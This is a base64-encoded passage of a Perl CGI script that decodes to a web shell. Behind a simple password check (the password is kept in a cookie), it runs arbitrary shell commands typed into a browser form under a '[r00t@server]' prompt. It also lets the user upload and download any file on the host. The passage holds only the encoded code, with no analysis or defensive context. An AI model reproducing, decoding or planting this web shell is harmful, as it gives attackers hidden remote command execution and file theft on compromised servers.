sKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbiAKewoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQKCXsKCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaAoJewoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCQkmUHJpbnRMb2dpblNjcmVlbjsKCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkCgkJewoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7CgkJfQoJCSZQcmludExvZ2luRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIltyMDB0XEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW3IwMHRcQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW3IwMHRcQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgokUHJvbXB0IHVwbG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+Ck92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPgpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcwojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQ29tbWFuZFRpbWVvdXQKewoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCQlwcmludCA8PEVORDsKPC94bXA+Cjxjb2RlPgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuCjxicj5LaWxsZWQgaXQhCjxjb2RlPgpFTkQKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW3IwMHRcQCRTZXJ2ZXJOYW1lICRPbGREaXJdXCQgIjsKCQlwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT4iOwoJfQoJZWxzZSAjIHNvbWUgb3RoZXIgY29tbWFuZCwgZGlzcGxheSB0aGUgb3V0cHV0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW3IwMHRcQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwo